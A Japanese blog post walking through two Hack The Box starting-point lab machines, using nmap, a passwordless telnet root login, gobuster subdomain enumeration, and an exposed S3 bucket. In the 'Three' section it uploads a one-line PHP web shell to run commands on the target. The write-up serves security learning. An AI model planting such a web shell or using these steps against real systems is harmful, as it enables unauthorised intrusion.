Hack The Boxのstarting pointを解いてみた

フューチャー Advent Calendar 2022 の23日目です。明日は@hayao0727さんのOCaml 5のEffect Handlerを調べてみた記事です。

# はじめに
今回の記事では、最近個人的にハマっている 「[Hack The Box](https://app.hackthebox.com/)」のstarting-pointを解いてみた感想を書きたいと思います。

## Hack The Boxとは
Hack The Boxとは、サイバーセキュリティスキルの向上トレーニングができるオンラインプラットフォームです。
仮想の環境が用意されており、脆弱性をついてflagの取得を目的としています。

## starting-pointとは
starting-pointとは、Hack The Boxを行う上での基礎的なことを学ぶことができる、チュートリアルです。
starting-pointには、tier0、tier1、tier2の3つあり、今回は tier0、tier1 からそれぞれ一問解いた手順と感想を書きたいと思います。
各問題にTASKが複数あり、最後にflagを取るための誘導になっています。

### Meow
ペネトレーションの基本的な使い方や一部telenetの知識が問われます。

#### TASK1〜TASK6
TASK1〜TASK6については知識を問う問題のため省略します。

#### TASK7

![スクリーンショット 2022-12-18 21.46.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/1377727e-c0fe-ce13-9448-b92289778fcb.png)

##### 解法
この問題はポート23/tcpで利用されているサービスは何かを問われています。
攻撃対象のポートスキャンを行うために、[nmap](https://nmap.org/man/ja/index.html)を使用します。
```bash
$ sudo nmap -p 23 -sV <IP address>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 07:54 EST
Nmap scan report for <IP address>
Host is up (0.00052s latency).

PORT   STATE    SERVICE VERSION
23/tcp filtered telnet

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
```
ポート23は、Well known portのため、検索をしてを答えを得ることができますが、nmapコマンドでport23を指定してポートスキャンを行うと、ポート23のサービス名は`telenet`であることがわかります。

#### TASK8
![スクリーンショット 2022-12-18 21.58.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/9e6ce899-c2b3-d2fb-b018-6411a7c410b9.png)

##### 解法
空のパスワードを使用して、telnet経由でログインできるユーザ名を問われています。
こちらは調べればわかる問題です。回答は`root`です。

#### Submit root flag
![スクリーンショット 2022-12-22 0.49.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/30638715-7be3-5f8b-a917-2c01ff795283.png)

##### 解法
Meow最後の問題で、flagを取得する問題です。
TASK8、TASK9をヒントにtelnet経由でログインします。
```bash
$ telnet <IP address >
Trying <IP address >...
Connected to <IP address >.
Escape character is '^]'.

  █  █         ▐▌     ▄█▄ █          ▄▄▄▄
  █▄▄█ ▀▀█ █▀▀ ▐▌▄▀    █  █▀█ █▀█    █▌▄█ ▄▀▀▄ ▀▄▀
  █  █ █▄█ █▄▄ ▐█▀▄    █  █ █ █▄▄    █▌▄█ ▀▄▄▀ █▀█
```
login名を聞かれるのでrootを入力します。

```bash
Meow login: root
...
(略)
...
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
```
telnet経由でログインすることに成功しました。
あとはフラグを探すだけです。lsコマンドで一覧を見ます。
```bash
$ root@Meow:~# ls
flag.txt  snap
```
flag.txtが`~/`配下にあるので、あとは中身をコピーし提出すれば終了です。

### Meowの感想
nmapコマンドを使用したペネトレーションの方法を学ぶことができました。
また、今回でてきたtelentについては、ネットワーク経由で他のサーバに接続し、遠隔操作する仕組みですが、通信経路が暗号化されていません。
SSHは、通信経路が暗号化されているため、基本的にはSSHのアクセスが推奨されています。

### Three
こちらの問題もHack The Boxの基本的な使い方や一部Amazon S3の知識が問われています。

#### TASK1
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/87996478-872c-ab81-c08e-2b60516190c9.png)

##### 解法
TCPの空いているポートの数が聞かれています。
nmapコマンドを使用して空いているポートを探します。

```bash
$ nmap -sV <IP address >  -p- 1-10000 -Pn
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```
上記から、空いているポートは二つとわかります。
よって、回答は`2`です。

#### TASK2〜TASK3
TASK2〜TASK3については知識を問われているだけの問題のため省略します。

#### TASK4
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/874cf38e-6f68-2a86-4811-67fe088c636f.png)


##### 解法
サブドメインは何があるかを問われています。
gobusterコマンドで総当たりで検索をしていきます。
サブドメインを検索するにあたり、`/etc/hosts`にthetoppers.htbを追加します。
```bash
$ echo "<IP address > thetoppers.htb" | sudo tee -a /etc/hosts
$ gobuster vhost -u http://thetoppers.htb -w <サブドメインのワードリストのパス> 
```
上記のコマンドを実行すると

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/4d2526cb-40af-5876-e730-342038fc4642.png)

回答になりそうなサブドメインは見つかりませんでした。
gobusterのvhostモードだとvirtual hostを探すためサブドメインがみつからない可能性があると考え、gobusterのdnsモードで下記のコマンドを実行しました。

```bash
$ gobuster dns -d thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
```
実行の結果は下記です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/a62ef000-c1df-7ef8-ec18-333774e06256.png)

`s3.thetoppers.htb`が見つかりました。
よって、問題の回答としては`s3.thetoppers.htb`
また、下記のように`/etc/hosts`に追加しておきます。

```bash
$ echo "<IP address > s3.thetoppers.htb" | sudo tee -a /etc/hosts
```

#### TASK5~TASK8
TASK5~TASK8については知識を問われているだけの問題のため省略します。

#### TASK9
![スクリーンショット 2022-12-23 0.09.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/947e9ff9-ebb6-15e1-2b31-4c346cbe9d74.png)

##### 解法
TASK5~TASK8に回答していくと、Amazon S3が動いているのが分かります。
S3上のバケット一覧を検索したいと考え、下記のコマンドを実行します。
```bash
$ aws --endpoint=http://s3.thetoppers.htb s3 ls
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/77db123d-161f-5156-b7e6-51ee75d69395.png)
`thetoppers.htb`というバケットが見つかったため、アップロードされているファイルがなにかを探したいと考え、下記のコマンドを実行します。
```bash
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
```
`.htaccess` と `index.php`のファイルを見つけることができました。
この問いは、S3上にあるWebスクリプト言語で書かれたファイルはなにかを問われているので、回答としは、`php`になります。

#### Submit root flag
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/16ba2f46-43b8-d67a-e288-07307c8eeff1.png)

##### 解法
最後にflagを探します。
S3内でlsコマンドを叩きたいと考え、下記のようにコマンドを受け付けるphpファイルを作成します。
```php
<?php system($_GET['cmd']); ?>
```
作成したphpファイル(flag.php)をuplaodします。
```bash
aws s3 --endpoint=http://s3.thetoppers.htb cp flag.php s3://thetoppers.htb 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/1254f043-16e2-83f9-f58e-76c397d6769b.png)
ファイルをアップロードすることができました。
ブラウザ上で確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/18390aef-788a-68c1-4da9-031abc445a0f.png)
ファイル一覧が表示されました。
あとはflag.txtが存在するかを確認します。
クエリパラメータに`find / -name flag.txt`を指定してブラウザで検索します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/69f17dd0-a72f-cac3-28a4-ad650e356c7a.png)
`/var/www/flag.txt`に`flag.txt`があるのが分かりました。
あとは中身を提出して終了です。
![スクリーンショット 2022-12-23 1.14.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684470/94f31975-f75c-397f-2df5-5e9d101ce2e8.png)

### Threeの感想
gobusterコマンドはペネトレーションを行う上でよく使うツールです。
サブドメインを探すときに、vhostモードではサブドメインが見つからず、少し苦戦しましたが、dnsモードを使って見つけることができました。
Threeを通して、awscliコマンドについて学ぶことができました。
自分はwebshellで解きましたが、公式の解説は、revese-shellを使って解いていました。

## まとめ
Hack The Boxのstarting pointを2問解いてみました。
starting-pointであれば公式の解説もあります。
自分としは、知らない知識ばかりで非常に勉強になりました。
他にもたくさんの問題があるので、解いたら記事を書きたいと思います。

## 参考記事
https://note.homie.co.jp/n/n35a6bba8a8a5
https://cybersecbits.com/gobuster-finding-web-files-and-directories